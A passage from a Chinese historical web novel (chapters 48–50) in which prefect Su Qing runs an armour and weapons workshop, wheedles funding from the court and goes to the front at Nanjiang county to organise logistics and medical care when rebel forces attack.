这会见苏清过来,窦工匠先做了礼,然后兴奋道:“材料都齐全了,可以开炉。” “那边处理皮革,这边炼制生铁。” “不出一个月,就能造出三百马匹盔甲,二百人的盔甲。” 武器要放在盔甲后面。 这一个月,重点只在盔甲上。 苏清认真看了整个武器作坊,确定一切都没有问题,开口道:“辛苦大家了。” “可以过个好年了。” 有苏大人这句话,众人多日来的努力,也算得到承认,忍不住发出欢呼。 是啊。 有了武器作坊,他们广乐府,还有依松县驻军,就能过个好年了。 不管明年局势如何。 他们广乐府都做好万全准备。 给武器作坊众人发了节礼,苏清才回府内休息。 苏清环视四周,难免又想起姥姥。 原来生在动荡不安的时代,是这种感觉。 她总觉得自己做的还不够,还不多,准备的不够充分。 毕竟谁知道,会不会又来什么战报,说哪哪失守。 “呸呸呸,不能说这种话。”苏清叹口气。 希望她做的这些准备,最好不要派上用场。 苏清自己都笑。 还是放弃这种幻想吧。 唯有准备充分,才能应对明年的难题。 永晟四年,正月十六。 刚过完年的广乐府武器作坊,终于可以制造第一批盔甲。 苏清带着一众官员前来,看着盔甲逐渐成型。 她的心也终于落地了。 他们的武器作坊,终于名副其实了。 第48章 刚进二月,广乐府便造出第一批盔甲。 苏清亲自去检查成品,窦工匠等人根本不怕她查。 这些东西都要送上战场,他们更不想出问题。 武器作坊管的本来就严苛,工匠等人也认真。 做出来的武器装备,实属上乘。 放在整个顺昌国,都属于极好的。 “这批盔甲若被其他指挥看到,必然会被疯抢。”窦工匠道,“无论用料还是做工,都堪称一流。” 窦工匠越夸越高兴。 他们能造出好物件,心里怎么可能不欢喜。 多少年了,没碰到过这么靠谱的上司。 当然,总兵除外。 苏清看着三百套各色盔甲,开口道:“留出四十套,其他的送到依松县,让阎协守看看。” 苏清解释道:“留出来的盔甲要送到金陵。” 窦工匠可以理解。 毕竟要跟皇上有个交代。 可苏知府下一句话,让他直接傻眼。 “问问其他各地,需要不需要盔甲,若有需要,可以找我们购买。” 啊? 卖盔甲吗? 跟在苏清身边的费秀才等人并不意外。 尤其是邬户司听了,更是一个劲点头:“赶紧赚点银子吧。” 不怪邬户司着急。 衙门银子本来就不多,这是大家都知道的。 府衙花销倒还好。 驻军简直是吞金兽。 平日的粮饷就够多的了。 即将供应的武器盔甲更是大头。 窦工匠欲言又止。 在他看来,武器盔甲就是打仗用的,哪能用来赚钱啊。 若用这来赚钱,岂不是变味了。 苏清才不管这种想法。 以她对外面的了解,好盔甲好兵器,很快就会成为硬通货。 即使她不愿意,也不能自己骗自己吧。 第一批造出的盔甲,兵分两路。 一路到依松县,一路到金陵。 到金陵的盔甲,也算给陛下一个交代。 告诉那边,他们广乐府拿了武器铸造权,还是做事了的。 不过金陵那边暂时没有消息。 还是依松县阎协守对此大加赞扬,恨不得立刻弄来五千套,装备给自己的士兵。 但武器作坊刚开始做盔甲,产量肯定没那样高。 阎协守虽然着急,却也知道还要再等等。 只是他没想到,还有人比他更着急。 一直没有消息的金陵,突然来了好几封文书。 皆是皇上身边禁卫左右指挥发来。 这两位指挥,只有一个意思。 我们要买广乐府产的盔甲! 越多越好的! 若产出武器,还请先送金陵! 这个消息一出,让阎协守立刻不服。 什么意思? 广乐府产的盔甲。 为什么要先送金陵?! 而那边的理由也很充分。 他们要保护皇上,盔甲质量必须上乘。 那两位指挥也是实在没办法。 谁让其他的地方的盔甲,质量真的太差。 以前在京城那会,差就差吧。 反正大家都不打仗,也没人管。 如今却不同,他们都在金陵了,时刻要提防周围危险。 所用盔甲武器,真的不能凑合啊。 只是整个顺昌国挑来挑去。 唯有广乐府新送来的盔甲合格。 这种保命的东西,肯定要选最好的。 武器作坊刚做出第一批东西,就被人预定。 实在给了大家很大信心。 接下来的武器制作,也提上日程。 跟盔甲相比,各类兵器更为复杂。 也需要招募更多人手。 好在这里是府城,并不缺人,加上府学广纳贤才,还找来不少有经验的。 听着武器作坊里打铁的声音,苏清就知道,他们这武器作坊已经步入正轨。 第一批刀枪也同理。 一部分送到阎协守那里,另一部分送到金陵。 看着造出来的好刀剑,无数将士不胜欣喜。 要说打仗靠的是什么? 不就是武器跟后勤。 苏知府样样都想到了。 甚至皇上都在想,让广乐府多造点武器,给自己弟弟送过去。 苏清听到这话,立刻递上奏章。 奏章大意是。 他们广乐府也想加大产量。 只是苦于一件事。 没钱啊。 现在还欠着叶家跟花家的银子。 他们也着急。 这两家催得也急,她这个当知府的,总要躲着他们。 叶家花家一头问号。 谁? 谁催你了?! 他们俩家吗?! 不对吧。 虽说各种材料,用了他们家不少银子。 但更官府做买卖,拖个三五年都是正常的,广乐府这才欠了不到半年的钱。 他们真的没那样急啊。 可苏清这么说了,两家自然不会反驳。 谁知道苏知府又在搞什么鬼主意。 果然,他们不说话是对的。 因为苏清最新的奏章,就差把两个字写上去了。 总结下来就是。 金陵! 打钱! 我们武器作坊有好多,大家都知道。 只是想造更多武器盔甲,需要更多材料跟人手。 他们广乐府真的负担不起了! 金陵左右指挥想要武器。 京郊总兵也想要。 依松县驻军更是如此。 人多兵器少,还缺钱。 想要保护皇上,夺回京城,守住依松县。 只有一个办法。 打钱! 江南的叶山鸣已经不想说话了。 怎么办,这种感觉太熟悉了。 之前的他,就是这么被空手套白狼的。 怪不得她想尽一切办法,也要把武器作坊建成。 原来在这等着呢。 至于金陵那边有没有钱? 不是苏清考虑的。 瘦死的骆驼比马大。 那边再穷,不还有徐家的财产,以及江南许多富商的财产? 花家老爷忍不住在家笑。 苏知府确实有些意思。 不管皇上怎么想。 反正他身边的左右指挥,也在怂恿给广乐府打钱。 这么好的武器盔甲,他们一定要拿到。 不少人忽然发现,自苏清当广乐府后,不仅没给朝廷交税,反而几次三番从朝廷身上薅羊毛。 她胆子也太大了。 偏偏她选的事,还非常重要。 让人根本拒绝不了。 尤其是见过广乐府的武器质量后,皇上身边人难免心动,说什么都要买一批。 事关安危,皇上那边只好点头 二月底,兵部便拨下银子,让广乐府好好造兵器。 不少人恍然大悟。 苏知府,原来一直打的这个主意? 齐内官都给她来信。 问她是不是早有打算? 苏清没有答是或者不是。 但是知道皇上抄没扬州徐家家产后,她难免动心啊。 江南富商家的银子,放在金陵也是让那些人吃喝玩乐,不如用在正经地方。 而且这几次打交道,她也算摸清皇上的想法。 只要是为了回京,他做什么都可以。 甚至金陵那边的人,也是这般想的。 能把这些大佛送回京城,他们也愿意舍些银钱。 知道了这点,很多事就好办了。 拿到拨银的苏清,自然并未偿还花家叶家的银子。 而是一部分作为粮饷送到依松县。 更多的,真的用来造武器跟盔甲。 整个武器作坊开足马力,定要多造兵器出来。 武器作坊运转良好。 剩下的,就是时间问题。 与此同时,府内两座堤坝,一处城墙也已经完工。 因各地都有苏清派去的人监督,各项费用并未超标。 不少人都说,苏清把整个广乐府管的密不透风。 南江县一带不用说,本就是她的基本盘。 其他各地,在这期间安插不少人手。 像崔刚捷那种情况并不少见。 她手底下的吏司更是可怕,恨不得每个衙门都有眼线。 如今的武器作坊绑上花家,更无话可说。 一个人人都不看好的女知府。 以为是背锅的女知府。 在大半年的时间里,终于掌握下面所有地方,所有官员。 也有人私底下说一句。 若皇上对各省有这般掌控力,他也不会沦落到江南金陵。 听说益州军一路追赶,其实走到半路已经不好再追,人家都放弃了。 可皇室一众人等,还是跑的飞快。 以前大家没仔细想就罢了。 如今一年过去,其中细节,已经被很多人知晓。 难免笑话他们。 尤其是江南一带。 皇权本在京城,大家多多少少有些畏惧。 毕竟距离产生美。 现在皇上人就在身边,也要吃喝拉撒,更要金银财宝。 这样一来,不敬皇上的人,自然多了起来。 这也是皇上等人,想要赶紧离开的原因。 算起来,已经快一年时间了。 总兵晏铮州怎么还没打下京城? 只能说守城容易,攻城难。 那益州将军到底是武将出身,以前还在武勇王爷手底下做事,自然不像之前的守城将士,全无经验。 苏清都听说,晏铮州打了好几场硬仗。 不仅如此,那益州将军还拿京城百姓做要挟。 这般情况下,确实束手束脚。 她更听说,皇上那边下了死命令,让晏铮州赶紧夺回京城。 皇上太后他们,真的急着回去。 一年了,真的不能再等了。 那边速度加快,苏清这边更不能闲着。 已经建完武器作坊的江工司等人,早就出发去了南江县。 他们在南江县短暂停留,又去了依松县。 除了知府之外,谁不知道他们去做什么。 变故就发生在三月中旬。 京城那边终于传来好消息。 时隔一年时间。 总兵晏铮州终于攻破京城,将叛军首领诛杀。 皇上,太后等人。 可以回京了! 这对京城来说是好消息。 苏清手底下动作更多。 武器作坊日夜开工造出来的武器盔甲,一刻不停地送到依松县阎协守手中。 其他地方都在庆祝京城叛军被诛,皇上可以回京。 只有依松县风声鹤唳,前线士兵戒备,死死盯着皋青州。 阎协守看着知府派来修建防御工事的民夫,再看着江工司帮着他们继续修城墙。 还有陆陆续续送来的武器装备,忍不住长叹口气。 满朝文武,竟然不如女知府。 她比那些着急回京城的人,更知道时局变化。 苏知府做的所有事,便是为了防着皋青州的叛军。 京城的叛军,给武勇王爷争取了近一年的时间休养生息。 谁知道这一年里,对方恢复到什么程度。 如今世人的注意力都在京城。 倘若这里出事,大家会关注到吗? 只怕未必。 就连苏知府讨要武器铸造权,讨要造武器的银子。 都要以京城的名义。 算了不想了。 还是好看依松县这个门户。 不能让叛军再次踏入。 否则,怎么对得起苏知府辛苦筹谋。 第49章 跟广乐府这边的戒备不同。 金陵那边欢欣鼓舞。 皇室等人恨不得立刻回京。 本地人则恨不得立刻送他们离开。 对总兵晏铮州的夸赞,更是不绝于耳。 来广乐府做买卖的江南商人,都对晏铮州赞不绝口。 说他浴血厮杀,终于拿下叛军。 为了早日夺回京城,甚至受了不小的伤。 反正不管怎么样。 京城夺回来,他们终于可以回去了。 顺昌国其他地方,其实也松口气。 前年给广乐府运送物资。 去年今年给京郊运送物资。 对全国各地消耗都极大。 尤其是普通百姓,多番征粮,让他们日子愈发难过。 那些借机敛财的地主豪绅,也不会放过这个机会。 总之京城夺回来,是件喜事。 像是标志着顺昌国恢复正常。 除了广乐府。 要说两股叛军。 一股在京城,另一股在皋青州。 只是这一年里。 已经很少有人再提什么武勇王爷。 只要剿灭京城那股叛军,对很多人来说,已经很好了。 至于皋青州? 反正他们一直没动静。 或许是被总兵打的抬不起头了吧。 苏清对于这种想法,自然一清二楚。 否则不会接着京郊打仗的事,要了许多东西。 三月初六打下京城。 三月十六,金陵等人便启程回京。 逃的时候有多慌张,回去的时候就有多高兴。 听说皇上的咳嗽都好了不少。 太后本就身强体壮,如今更添喜气。 母子两个相互扶持,一起踏上回京的路。 听说他们两个感情都好了许多。 这些消息,一部分是顾从斯寄过来,另一部分肯定是叶山鸣的消息渠道。 叶山鸣说的更直白讽刺些。 还提到这次居功至伟的总兵,对这位倒是没什么怪话,明显有些敬佩。 苏清收起两人信件,又往依松县送了些物资。 在外人看来。 广乐府去年税收情况不错。 金陵那边还预定了一批武器。 纵然负担着驻军粮饷,情况也比其他各地好些。 但实际上,也就罗主簿,还有户司等人,知道府衙的情况。 多出一点银子。 就要送到依松县,乃至江北县,江五县,尚口县,这四个地方。 其他人都在关注广乐府的武器作坊。 暗地里,那才是他们出钱出力的重点。 之前总提起的两处堤坝跟城墙,实则也在这四地。 招工用人,建造工事。 算是帮本地创造不少岗位,也让今年多数百姓有钱耕种。 跟在苏清左右费秀才跟祝书吏,自然知道这些。 若不是这些事,他们知府用得着天天忙吗。 等到三月下旬,广乐府十七个县的耕田数目报上来。 才让不少人侧目。 以江北县,江五县,尚口县,依松县四地为首,他们耕地面积相比战前,恢复了百分之八十。 其他各地,也因贪官污吏,豪绅恶霸的清扫。 不少佃户重新变成自耕农。 这样一来,更多人就有动力开荒新地。 整个广乐府的耕地面积,相比去年增加了三成。 不要小看这三成。 多了这些粮食,本地的粮价,便会彻底稳定。 都说破坏容易建设难。 多少官员不愿意来此地当知府。 不就是觉得这些事难做吗。 也确实难做。 但苏大人还是一件件给办成了。 倘若不看她的年纪,估计以为她是经年老吏。 苏清倒是没多说,只是揉揉额角,继续囤粮修城。 此时的京城,晏铮州站在街道上,看着叛军过后的城池。 这些年来,他见过不止一次这样的场景。 广乐府各县,如今又是京城。 尸横遍野,惨不忍睹。 这样的日子,似乎永远都没有尽头。 晏铮州只能尽力恢复京城街道,好迎接太后皇上回京。 不过没给他太多时间,故而街道并不复往日光彩。 晏铮州明显能看到皇上太后眼中的失望。 不仅用了一年时间才夺回京城。 如今,还是这副模样。 晏铮州无意多解释,只是请皇上太后回宫。 宫里更是破乱不堪。 不少宫殿都烧毁,只留下黑洞洞的断壁残垣。 听说被烧的最厉害的,还属国子监,规模最大的书库直接被烧。 里面放着各类儒家学说,已经有人跑去哭泣了。 “怎么会这样。”太后看着自己的永乐宫,气恼道,“怎么会这样!” 她简直不敢相信自己的眼睛。 原本奢华的宫殿,现在付之一炬。 里面的珍贵器玩,早被贼人抢光,就连地上千人缝制的地毯,也全都被卷走了。 不过一年时间。 京城,皇宫。 变化堪称翻天覆地。 “你要是早点夺回京城!就不会这样了!”太后看着二儿子,心里默道。 她并未说出来,可她的表情却证明了一切。 皇帝走上前,拉着二弟的手道:“铮州,你做的很好了,要不是你,我们也回不来。” “没关系,这里可以慢慢建设。相信皇宫,一定会恢复往日光彩。” 有着同样想法的,不止皇上太后。 终于回京的王公贵族们,看着自己空空如也的库房,忍不住仰天大哭。 老天为什么这么对他们啊! 这也太不公平了! 那么多东西,几代人的家当,全都被抢走了! 如果早点夺回京城就好了! 损失肯定不会这样大! 晏铮州手下看着他渗血的肩膀,忍不住道:“大人,不要再管了。” 手下甚至不知道,他说的不要再管,指的是哪里。 但只听总兵大人道:“写奏章,请求回广乐府依松县。” 一年了。 不知道皋青州发展成什么样子。 他心里总是不安。 若不是把苏清强行按在知府的位置上。 一切只会更糟。 晏铮州叹口气…… 他太知道,那个时候让苏清坐上知府位置,并不是对她好。 反而是一种麻烦。 虽然说她并不怕,但自己确实居心不良。 “大人,您的伤还未好。”手下并不赞成。 晏铮州脸色依旧冰冷:“必须回去。” 苏清跟阎协守,也确实在等晏铮州回来。 他打仗的本事不用说。 能对抗武勇王爷的,也只有他了。 只是晏铮州奏章递上去三日,还迟迟没有回复。 皇上那边的态度也含糊不清。 彷佛拿不定主意,更说:“皇弟伤势未愈,不好长途奔波,等伤势好些了再说。” 晏铮州直接道:“皋青州虎视眈眈。” 皇上直接摆手:“叛军的气焰已经被你打压,这一年来,不是也没事吗。不着急。” 不等晏铮州再说,他便被任派许多差事。 恢复京城街道,打击京郊附近零散叛军逃兵,以及维护京城治安。 苏清接到这些消息时,眉头皱得几乎拧不开。 她没看错吧?! 让总兵去做这些事? 若是真养伤,不应该什么都不做吗?! 祝书吏道:“皇上这到底是什么意思。” 费开宇不说话。 其实两人心里都明白。 果然,苏大人直接道:“皇上不想让总兵离开京城。” 为什么?! 大概率是被叛军入城吓破胆。 所以要把这个战神留在身边,好保卫自己的安全。 “凭什么啊!”费开宇立刻道,“京城皇家的人是人,那广乐府呢!?” 明知道这边的危险,却不让大将过来? 这怎么能行。 苏清这边察觉到不对劲,便跟阎协守那边通信。 果然,阎协守那边知道的情况更多。 别说皇上太后,但凡京城大点的家族,都不想让总兵离开。 理由也特别正当。 什么京城还未脱离危险。 叛军随时可能再次进城,以及外面土匪横行,他们很需要保护。 不仅总兵不能走,他带来的十万大军也要驻扎在附近,绝对不能离开。 至于十万人的吃喝? 还是由地方供给。 朝廷暂时没钱,这次是真没钱了。 苏清看完这封信,本就欲言又止的表情,现在真想直接骂人。 偏偏天有不测风云。 阎协守这封信送来没多久。 皋青州那边便在集结兵力。 一年的时间里,他们也并未闲着,招兵买马,屯粮囤地。 甚至能鼓动其他地方造反。 敌方这般行动力。 再看看他们这边的行动力。 怪不得晏铮州没出来之前,武勇王爷能拿下那么多土地。 若不是这位王爷行事过于残暴,放任手下人屠戮百姓。 她也就觉得反了不错。 当然,现在是万万不行的。 朝廷那边不是什么好东西。 这位王爷也不是什么好人。 苏清能做的,就是让手底下尽可能多开荒地。 各县组织起民兵,稍有余力的便修建防御工事。 以及武器作坊,昼夜不停干活。 府学那边暂时不管他。 就连今年童试,苏清也是没有过多参与的。 听说南江县依旧出了不少秀才,她只是看了眼名单,就让大家回去了。 对于苏知府的冷淡,多数人并不理解。 但广乐府以花家为首的大家族,却惊醒起来。 大家都有各自的渠道。 知道的事情,虽然没有苏清详细,但该明白的都明白。 故而苏清让花家牵头,组织府城各家为驻军捐钱,花老爷虽不满意,却也点头了。 岂止是府城,余下十七县各家大户,都不能免责。 而且只要大户家的银钱,不动普通百姓家里毫厘。 目的,自然是为了供给驻军。 苏清之前几次三番调查各县官吏,安插自己的人手。 故而在此事上也算顺利。 一笔笔银子送到府衙,再送到武器作坊,最后成为兵器盔甲送至前线。 而武勇王爷的人手,已经集结完毕。 他也着急。 他必须在晏铮州,自己这个好侄儿回来之前,赶紧攻下广乐府。 如今的封地到底贫瘠。 若掌握广乐府,控制住这条运河。 他就能一路打到江南。 永晟元年那会,他棋差一着,差点就能实现。 但晏铮州带兵确实不俗。 押着他几年时间,把他打的差点投降。 若不是益州那边有自己的亲信。 而那边的将领也被朝廷打压的生不如死。 也不会脑子一热就去攻打京城。 他本想用调虎离山,让贪生怕死的王公贵族们,把晏铮州调走,让自己有喘息空间。 没想到还真把京城打下来了。 还给自己争取了一年的时间。 这一次。 他一定踏平广乐府。 听说如今广乐府知府,竟然是个女的。 还是什么南江县县令的女儿。 自己对他有些印象。 死活不说囤粮在哪,逼得他只能杀人。 自己能杀他,也能杀他女儿。 最好送他们一家下去团聚。 武勇王爷并未多想。 而是在研究阎协守。 这人守城有些本事,其他各方面平平。 晏铮州也是手底下没人,只能派他守着。 可广乐府沿途那么多县。 自己真就直奔依松县? 简直可笑。 武勇王爷看着顺昌国方向,对着手底下众人道:“打下广乐府任何一县,给你们三日时间,本王一概不管。” “要女人还是要财宝,随你们便。” “三日时间,想要什么,自己去拿!” 苦了好几年的皋青兵,立刻兴奋起来。 好啊! 听说广乐府发展的很不错! 他们肯定能发财的! 女人财宝粮食他们全都要! “冲进广乐府!” “冲!” 永晟四年,四月初六。 广乐府府城苏清猛然惊醒。 外面下起大雨,让她心里发慌。 事实上,她已经很久没睡过好觉。 从来这里当知府。 再到听说总兵不来之后。 她的心就没安定过。 而这一日,也证明她的想法。 只听有人急匆匆来报。 又是军情。 “武寨县,武勇王爷正在武寨县外! 叛军并未主攻依松县,而是佯装攻打,主力军绕了原路,打向东边的武寨县。 苏清立刻起身。 武寨县? 武寨县就在江北县旁边。 而江北县一江之隔。 便是南江县了。 “不好,对方是想渡江。” 攻打武寨县更是假。 渡江夺去有船有渡口的南江县才是真。 占据南江县。 整个广乐府随他进攻。 叛军冲到哪来,对哪里来说就是一场暴乱,不亚于天灾。 苏清不容迟疑,立刻道:“备马,快。” “我要去南江县。” 您去南江县?! 听到消息赶来的梅娘第一个不同意。 却见苏清摇头:“娘,我必须去。” 南江县必须守住。 那里不仅是她当县令的地方。 更有无数物资补给。 粮食。 药品。 甚至还有训练有素的医护。 苏清眼睛睁大。 原来是这个。 武勇王爷拼尽全力也要渡江。 就是为了这个。 她必须过去。 天还未亮,苏清将府衙托付给罗主簿邬户司。 自己带着费开宇祝书吏武捕头前往南江县。 梅娘看着女儿的背影默默流泪。 四年前,她就是这么看着夫君的背影。 四年过去,竟然还是这样。 谁都知道,知府不用去前线的。 上上任知府遇到这种事,直接跑路即可。 但苏知府反方向前进。 她就是要保护好这里的百姓,义无反顾。 第50章 再回南江县,颇有些不一样的感觉。 虽说在南江县的日子,也是忙个不停。 但跟广乐府府城,还是不同的。 这里许多建设,都出在她手中。 看着越来越多的药铺,以及码头上的繁忙,以及坚固无比的城墙。 苏清很难不感慨。 只是武寨县的战事早就传到此地。 多数百姓垂头丧气。 生怕打到他们这。 要不是阎协守早早派兵过去,武寨县大概率要失守。 南江县城门的守卫,忍不住揉揉眼睛。 他没看错吧? 这是苏县令? 不对,是苏知府。 苏知府怎么会过来。 而且距离他们这不远的武寨县已经在打仗了。 大人她不知道吗? 苏清下马走到城门前。 身后费秀才祝书吏接过缰绳。 再有武捕头云喜并几个差役跟着。 他们这一行人,自然吸引周围目光。 不止一个人认出苏清,忍不住上前:“苏大人,您怎么回来了。” “大人,南江县有危险,您不能来的。” 越来越多人认出苏清,下意识围上去,脸上都带了不一样的色彩。 苏大人! 您不该来的! 今年十九岁的苏清,身量比四年前高了许多。 虽然穿着常服,气势却明显不同。 对于南江县的百姓而言,看到她,无异于看到希望。 可所有人也是一个想法。 这里太危险了。 您应该留在府城的。 若您有危险,别说南江县了,整个广乐府都会完蛋的。 苏清走到城门前,先给了自己的路引,确认无误后,才回头对着百姓们道:“我们必会守好南江县。” 只这一句话,就让所有人振奋。 会的。 他们肯定会守好南江县的。 苏大人回南江县的消息,瞬间传遍整个县城。 最先反应过来的,还是处在崩溃边缘的县衙。 不出苏清意料,田县丞已经做不了任何决定。 作为如今的代县令,他成不了事,其他虽然能尽力维持,但人心难免散乱。 田县丞的经历,大家都知道。 周围一切太平的时候,他是最靠得住的官吏。 这一年时间里,南江县在他手里发展的还不错。 但听到武勇王爷带兵攻打一江之隔的武寨县,田县丞当场失声,似乎又回到四年前。 那个叛军入城,全家横死的夜晚。 三班六房的,基本都是苏清带出来的老人。 他们知道这些事,只能尽量干好自己的差事。 尤其是王兵房,跟现在的捕头尽力维持本地治安,也保持跟前线的沟通。 一个是能及时运送物资。 二是,知道前线的情况,及时组织百姓避难。 没错,他们已经想到这一步了。 听说武勇王爷带着几万兵力,还有特制的攻城器械。 只要突破了武寨县,就会直奔南江县。 作为广乐府最富的县城,最为这一代产药材最多的地方。 占据南江县,对武勇王爷来说,便是最大的好处。 即便总兵赶来,他也不惧。 越是知道这些事。 越明白南江县的处境有多危险。 所以对苏大人的决定,就更不能理解。 所有人看到苏清第一句话,都是那句:“大人,您不该回来的!” 现在都往外跑。 谁还回来?! 赶来的白大夫,何漕运也都是这个意思。 不该回来的! 苏清听着有些好笑:“我刚到县城不到半个时辰,已经听过不下十次这种话了。” 回都回了,还有什么好说的。 看着熟悉的面孔,再看着田县丞惊恐不安的表情。 苏清叹口气:“白大夫,安排人照顾田县丞。” 田县丞被扶着离开,整个人呆呆愣愣。 满脑子都是妻儿去世的画面,整个人看着十分不对。 苏清让王兵房跟前线继续保持沟通,再联系齐内官,看看那边物资储备。 除此之外,还有本地药材情况,以及各种物资统计。 想来战事突起,也不会有商船再过来,如果有急缺的物资,可以从陆上运输。 她这边可以联系府城花家。 不过最要紧的,还是囤积棉布,重新招募医护。 这点由户司跟医学训科负责。 这件事,自然是为了照顾伤员做准备。 一连串事情安排下去后,南江县大部分百姓,已然知道苏大人回来的消息。 原本沉闷县城,忽然变得高兴起来。 而苏清重新组织起来后勤医疗,则给前线士兵带来莫大安慰。 苏大人回南江县了! 虽说依松县那边,也有周大人设的伤员疗养处。 但有苏大人加入,他们自然更加放心! 周大人自然就是之前的周千户。 他一直负责伤兵事宜。 想来若知道苏清在后面帮忙,也能更加安心。 近一年没什么伤员的伤员疗养处再次开门。 之前培训的医护人手迅速上岗。 本地的药材也即将收获。 药材也是够用。 苏清刚到南江县,便马不停蹄处理这些事。 不过收到连飞扬连千总的信,还是让她稍稍诧异。 原来连飞扬如今正在武寨县抵御叛军。 他写信,也是跟苏清打声招呼。 一旦周大人那边伤员太多,接受不了,可以第一时间送到南江县。 从四月初六,到如今四月初九。 这才三天时间,连飞扬已经在考虑,伤员太多的问题。 不用多说,苏清就知道前线的惨烈。 对于叛军来说,只要能打下武寨县,攻入南江县。 那好日子就好了。 他们可以肆意劫掠,直接翻身。 即使再被打回皋青州也无所谓。 反正到时候能带不少金银财宝回来。 抱着这样的想法。 只要能闯进广乐府,那就不亏。 所以这些叛军恨不得把眼前所有人都杀了,把他们换成金银财宝。 他们可是尝过劫掠百姓的甜头。 这种情况下,叛军的斗志,非比一般人。 连飞扬擦了擦脸上的血。 本就带着伤疤的眉眼更添几分桀骜。 他嘴里骂了几句,继续带人守城。 阎协守说只能防守。 还说他们后勤多,可以跟叛军慢慢耗。 可连飞扬知道,阎协守是想等总兵大人回来。 毕竟在总兵手中,才有十足的把握。 但这样耗下去,什么时候是个头。 对方也修整了一年时间,谁知道他们真正的底细。 而且京城那边的叛军残党,有的在各地闹事,有的直奔广乐府而来。 这种情况下。 只守不攻,真的能行吗? 连飞扬觉得不行,但他只能听令。 并且期待总兵大人赶紧回来啊! 京城那边,不是已经没事了吗?! 万幸的是,苏大人赶回来。 不然跟叛军的交战,只会更难。 希望京城收到军中跟广乐府的奏章,可以早下决断。 连飞扬说的奏章,正是阎协守跟苏清连番上奏的文书。 从叛军攻城起,军中战报送到京城,请求兵力支援,以及请总兵大人坐镇指挥。 苏清的文书,则是请求后勤补给。 平常供应驻军,对广乐府来说都捉襟见肘。 如今真的打起来,必然缺人缺物资。 双方的请求都很正当。 但送到京城后,双双遭到冷遇。 就连镇守大臣梁公公的密信,同样没被理会。 跟军中府衙的奏章不同。 他们还需要练练上报,方能到皇上手中。 而梁公公的密信,可以直达天听,经由他的亲信,第一时间提醒皇上查看。 皇上也确实看了,但并未说太多,只含糊两句。 熟悉他的人,都知道这是不赞同的意思。 对比皇上还未真正表态。 太后的意见便极为明确。 “不行。” “总兵还要驻守京城,怎么能去广乐府。” “还有,之前不是给广乐府拨了银子,他们建了武器作坊,听闻那知府还有囤粮,尚且还能坚持。” “不过是边卫的叛军,待朝廷休养生息,再歼灭也不迟。” 这话听的晏铮州眉头紧皱,还想再提,只见太后冷眼道:“总兵累了,下去休息吧。” 旁边的皇上咳嗽几声,也让弟弟下去,说自己还要考虑。 走出勤政殿。 兵部尚书等人死死盯着他。 总兵大人,真的要去广乐府吗?! 得知答案是否定的,众人长舒口气,连连劝诫:“京城事情也多,还有危险,你刚打了一年硬仗,不用太着急去前线。” “是啊,太后跟陛下也是为您着想,您伤势那样严重,应该好好修养。” 一番劝慰过后,只留翰林学士顾从斯看了看总兵晏铮州。 晏铮州对这官员有点印象。 他是苏清的未婚夫。 有人说他们婚约已经解除,但顾从斯并不认,而且拒绝了所有说亲的人户。 顾从斯的意见,自然是想让总兵快点去广乐府。 苏清在那,他们两家的家人都在那。 即使他知道,苏清一定会保护好他们。 但顾从斯更知道,若广乐府失守,苏清一定是留到最后的那个。 所以顾从斯认真道:“微臣会继续劝皇上改变主意。” 晏铮州只看他一眼,并未多说,直接从他身边离开。 若劝有用。 未免想的简单。 顾从斯看着这人背影,被提醒后,立刻进了殿内。 殿内也分为两拨人。 多数人不同意总兵离京。 只有少数人同意。 吵到最后,自然是多数人占上风。 广乐府如何,跟京城到底没有太大的关系。 总兵,他们是不肯放走的。 大家的安全全依赖他。 物资,也要等等。 京城也急着恢复。 这么多宫殿需要修缮,以前的生活也要继续。 实在腾不出手管广乐府。 那边并不算着急,之前也给过拨款。 京城作为顺昌国都城,才是最紧要的。 四月十二,京城那边的态度,广乐府这边已然知晓。 世上没有不透风的墙。 京城打算让广乐府自己抵御叛军,也让本地百姓不敢置信,同时心又跌倒谷底。 倒是之前捐款给驻军的大户豪绅世家们,反而少了些怨言。 要说这广乐府里,谁最怕叛军入城? 比起普通百姓,更怕的是他们。 普通人能损失什么,打不了收拾为数不多的家当走人。 他们几代人的家当都在这里,叛军入城,第一个不会放过自家库房。 要说舍家企业逃跑? 他们更做不到。 所以苏清号召本地捐布捐粮的时候,花家思索再三,还是站出来了。 跟在苏清手底下做事,还是讲规矩有保障的。 她人都去了前线,若还信不过,他们这些人就是傻子了。 苏清自己都不是广乐府的人,却能为他们做到这种地步,还有什么理由不捐钱。 说白了。 苏清要钱,并非为了自己。 而是为了广乐府。 倘若为自己,大家必然有怨言。 但她做的事,可谓全无私心。 越是这样,广乐府众人对京城的怨念就更深。 自四年前叛军入城,他们广乐府便饱受战火摧残。 幸好有总兵及时站出来,否则日子只会更苦。 当年各地缺粮,各地瘟疫,除了苏大人所在的南江县之外,哪里好过? 就算这样,朝廷也只是免了税款。 一直过了两年,朝廷才愿意让各地负责后勤,真正把广乐府最后四个县夺回来。 本以为终于可以看到曙光。 等来的,却是京城出问题。 京城都能被轻易夺走,一路逃到江南,也是能人。 现在京城叛军剿灭。 就不管广乐府了? 他们武器作坊造出来的兵器,原本还打算给京城啊! 现在算什么?! 广乐府这边,本就对朝廷有些意见。 不过之前积压在心里,如今终于爆发出来。 若不是还有苏清。 很多地方百姓,都有造反的心了。 也就是这个时候,边关几个县传来消息。 “大家放心!依松县跟武寨县的城墙,都额外加固过。” “而且这段时间的兵器盔甲,也都送到前线去了。” “现在有苏知府在南江县坐镇,各地不用忧心。” “大家种好良田桑田,做好自己手头的差事即可。” “不过各地民兵要有所准备,前线随时可能需要征调人手。” 苏清这些消息有好有坏。 好的地方,就是让大家安心。 苏大人去年就在加固城墙了,还有源源不断的武器盔甲送过去。 安全问题暂时不用担心。 大家好好种田即可,这就是对前线最大的帮助。 这些话确实让很多百姓心里安稳不少。 只要日子能过,谁又愿意颠沛流离。 但最后一条。 最好准备,随时可能上前线。 这让广乐府有适龄男丁的家里,为之恐慌。 都说好铁不打钉好男不当兵。 这话如今说来也没错。 只是叛军都要打到家门口了,大家也不得不当兵。 因为都知道,京城大概率不会管他们。 如今只能自救。 万幸的是,现在的广乐府是有知府的,知府不仅没跑,还在前线安排后勤。 广乐府这边积极自救。 各家男丁开始登记姓名,第一批招自愿前去的,差不多三万人,随时等待集合。 苏清这边先把名册交到阎协守手中,也算做好万全准备。 战事开打半个月。 直接打破广乐府的平静。 她并未放弃给京城写奏章。 不管是物资还是晏铮州她都要。 让广乐府死死支撑,这是人干的事?! 也许是她这边奏章送的多。 京城终于回复其中一封,说全国各地都被战事所累。 四年多下来,无论哪个地方,日子都不好过,实在不能再给广乐府送物资。 所以广乐府暂时要等等。 